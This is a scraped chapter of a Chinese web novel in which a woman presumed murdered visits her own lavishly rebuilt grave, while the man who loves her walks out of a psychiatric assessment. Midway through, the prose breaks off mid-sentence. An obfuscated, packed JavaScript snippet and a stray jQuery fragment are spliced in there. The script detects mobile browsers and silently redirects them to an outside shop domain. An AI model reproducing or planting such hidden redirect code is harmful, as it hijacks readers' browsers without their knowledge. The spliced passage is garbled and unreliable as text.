文趣网 > 其他小说 > 凶杀案受害者重生了 > 18. 第 18 章
    叶宝言的问题也是她们的疑问。

    她重生回来后从来没提过片场的事,雪儿和阿蚊都默契地以为她不愿意提,这才只说了只言片语。

    “我们也不知哦,你也不记得……”

    “我知你们不知,我是想问,外面是怎么传的?还有我当时有没有和你们说过什么?”叶宝言直觉当年片场一定发生了大事。

    她嫁入傅家后,身份水涨船高,可真正的朋友只有这两个,如果遇到什么事,她只会和她们两个说。

    雪儿和阿蚊同时怔住,努力搜寻十年前的记忆。

    阿蚊快言快语,说起外面的那些中邪传言,话锋一转:“我只知你说要和卢思拍戏很开心,丽影为了你拍那么多戏,票房倒是很好,但口碑一般,行内很多人嫉妒你,说你靠傅玉成上位,是个花瓶,根本不会演戏,还嘲讽你……”她隐去港煤那些恶毒的话,“总之,你不太开心,那年出了丽人行这部戏的剧本,你很开心,丽影答应给你请卢思来带你拍,双女主,你每天都像打了鸡血,非常开心,连怀孕了都要进组拍。”

    说到怀孕,阿蚊有短暂的停顿,但现在没人关心这点,重点都在叶宝言怎么会失踪。

    雪儿也附和:“是啊,你每晚和我们煲电话粥都说在说卢思好漂亮,人很好,你觉得这部戏肯定能在国际上拿奖。”

    听着她们的回忆,叶宝言久久沉默,最后才问了一句:“卢思到底怎么死的?真的被那个什么雨夜屠夫杀的?”

    雪儿和阿蚊同时变得很小声:“是啊,当年的大案,雨夜屠夫杀害的第五个女人,听说很凶残,新闻照片都打码的,听差佬说,卢思案的档案资料是绝密哦,一般人看不到的。”

    “警方没有公布细节,说是为了防止有人模仿。”

    “这些年,其实我们都以为你也……遇害了。”

    “但是没找到你的遗体,警方只说你是疑似受害者。”

    叶宝言打了个寒颤,记忆一片空白。

    “去傅家的墓地要费功夫,兰姨没时间去,就会在家里烧纸,还有乐仔,每年都哭。”

    不知怎么聊到了她的墓地,雪儿看着旁边老伯的报纸,惊呼道:“明天不就是你的……”

    “忌日?”叶宝言接过话,带着点自嘲,“宋美兰今年没地方烧纸了吧。”

    ***

    雪儿和阿蚊还是陪着叶宝言去了墓地。

    傅家发家极早,在港城地位卓然,拥有私人坟场,靠山面海,她们下了的士后看到的是一片郁郁葱葱的林地,耳中听到的更是海浪拍岸之声,今日风和日丽,微风拂过山林,海浪也跟着温柔可人。

    阿蚊心情复杂,“真是人比人气死人,有钱人连死后都有海景房可住。”

    雪儿偷偷拽她袖子,让她注意叶宝言,因为从上的士,叶宝言一言不发,这会只顾着低头走路。

    阿蚊却是不吐不快:“小嗡,傅家真没个好人,你失踪后,他们不闻不问,若不是兰姨在闹,你连这块墓地都进不了。”

    叶宝言没什么触动:“宋美兰是想着那点财产吧,结果没分到什么,给我争来一块墓地?”

    “……算是吧。”阿蚊感叹,“兰姨也没办法,乐仔的病需要钱。”

    叶宝言讥诮地翘唇,又听到雪儿说:“不知道是不是傅家良心发现,你的这块墓地还被装修了,很漂亮。”

    “?”

    叶宝言思忖间,已经来到墓前。

    这时候,她才知道雪儿说的墓地装修是什么意思。

    墓地占地很阔,和周围平平无奇的四方形墓地不同,“亡妻叶宝言”和女人栩栩如生的黑白画像被刻在大理石墓碑上,墓碑之上被围在纯白的穹顶下,穹顶的外墙也是纯白大理石打造。

    她们进入其中,发现这里一尘不染,墓碑前还放着一束白色的铃兰。

    铃兰已经枯萎地不成样子了。

    “咦,兰姨来过吗?什么时候来的?”雪儿问阿蚊。

    “不知啊,可能是她自己来的?”

    宋美兰每年都会和她们俩一起来,今年没约她们,还提前来了。

    叶宝言没在意她们的话,却是一眨不眨地看着自己的黑白微笑照片,更确切地说是画像,墓碑上的“自己”还是短发,眼尾的黑痣都栩栩如生,一如她现在。

    她盯着照片,心中的感觉难以言说,时而像被塞了满心的石头,时而又像是被什么狠狠掐疼,一颗心像在雨中飘飘荡荡,毫无着落。

    当她把视线长久定在眼尾的黑痣上时,全身都僵住了,支支吾吾地问:“这是谁画的?”

    两个好友被问住,雪儿猜测:“肯定是傅家找人画的吧?”

    她忽然抓住雪儿和阿蚊的手臂,一边抓着一个,“你们看我眼尾的痣还在。”

    “你本就有……”

    阿蚊的话没说完,三人都想到了问题的关键点。

    这颗痣不应该存在,叶宝言嫁入傅家时已经没有这颗黑痣了,如果是傅家人做的画像,只能参照她留下的旧照片,不应该有这颗黑痣。

    三人默默无言,山风海浪莫名变得瘆人。

    “我记得最开始不是这张照片。”雪儿回忆道,“以前那张是长头发。”

    “什么时候换的?”

    “记不清了,四五年了?”雪儿问阿蚊,阿蚊说差不多。

    叶宝言看着这片华丽的墓地,满心都是疑惑,按照他们的说法,傅玉成在她失踪前就死了,傅家谁还会来给她修墓?

    想到这里,她莫名心尖一颤,想到了傅寒。

    但转念一想,更不可能。

    她使劲摇了摇头,阻止自己继续胡思乱想。

    ***

    傅寒接到墓地管家的电话时,才刚刚被夏肆绑着坐进医院的心理诊室,夏肆和心理学专家坐在他对面。

    “师兄,我想他需要做一份全面的心理评估。”夏肆指着沉默不语的傅寒,“他最近的睡眠非常不好,已经十天没有好好睡觉。”

    “那很严重了,以前你最长只有三天没睡觉,这是病情恶化,有头痛吗?”黄医生皱眉问道。

    傅寒摇头:“我觉得并没有那么严重,和以前不一样,我不是睡不着,只是单纯太忙,没时间睡,或者换一种说法,我只是睡得少了点。”

    夏肆不认同:“你还是不是人,一天睡一个小时,那叫睡觉?”

    “医生,他不只是睡眠不好,认知也出现一点问题。”

    黄医生目光骤顿:“什么认知?”

    “我没有。”傅寒打破沉默,脸部有了一些激动表情,据理力争,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646845|206453||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    反问夏肆,“你不是也看到了吗?她真的回来了,是你的认知有问题。”

    夏肆摇头:“我总觉得她不简单,现在医学发达,有可能是整容,一个人怎么可能在被宣判死亡十年后回来,还变得更年轻了,这不科学。”

    “错不了,就是她,DNA判定是同一个人……”

    黄医生对他们的吵架内容感到莫名,及时打断:“你们在说有人死而复生?”

    “黄医生,我需要你保证我所说的话都不会被公开。”

    傅航的话很严肃,黄医生举双手保证:“病人的隐私在我这里是最高等级。”

    “好。”他扯松领带,后背深深贴进沙发靠背,用略为疲倦的嗓音开始讲述这些天的经历,黄医生听明白了,但不得不重复:“你说的那个她,是你暗恋的那位叶小姐?”

    “是,我从小喜欢的人。”

    “她不是死了十年?”

    “她没离开,就像我相信的那样,只是失踪,现在她回来了。”

    黄医生沉默了,和夏肆对了几眼,“你不相信?”

    夏肆实话实说:“看外表好像一个人,但是我并不完全相信。”

    黄医生挑眉:“你从什么时候又开始出现幻觉的?”

    傅寒嗤了声,就在这时他的移动电话响了,他看着来电眸色沉沉,“刘管家?”

    “傅生,叶小姐的墓地前来了三个女人。”

    “三个女人?有个红色短发的?”

    “是,不要怪我多嘴,傅生要不要请人来做场法事超度亡灵?”管家的声音透着恐惧。

    “不必。”

    他干脆利落地挂了电话,转向黄医生:“我现在没有幻觉,你看,她去了自己的墓地。”

    黄医生:“……夏肆说的对,你要做全面心里评估!”

    “护士!”

    “不必了,我现在前所未有的健康。”

    傅寒拒绝地干脆,直接开门走了,夏肆反应过来连忙去追,他追到停车场,拦在车前,“你最好回去做个评估。”

    他放下车门,“夏肆,我从十年前开始失眠,出现幻觉,狂躁暴怒,但是我没自杀过,你知道为什么吗?”

    夏肆被问懵了。

    “你也见过很多轻生的人,知道我这样的病症不知道哪一天就没了,你担心过我吗?”

    “肯定有,要不然你不会经常半夜打电话来,你是为了确定我还活着吧。”

    “我有过想死的瞬间,但是从来没试过,因为一想到死,我就想起她,想着她去了哪里,想着如果有一天她回来了,我不在,那多遗憾。”

    “我不会认错的。”

    “就算是梦,也不要再戳穿我。”

    夏肆没能说出反驳的话,看着他的车徐徐开走。

    傅寒今天没有用司机,开到傅家墓地时,远远看到三个女人的身影,叶宝言的身影尤其清晰。

    扎眼的豪车让女人们都停下脚步。

    叶宝言还没看仔细,雪儿倒是认出来了大老板的车,“傅生的车。”

    叶宝言眸子一眯,豪车的引擎骤然停止,车子已经停在她面前。

    身高腿长的男人从驾驶位下来,拉开车门,示意她们上车。

    叶宝言盯着他看,“墓地是谁修的?”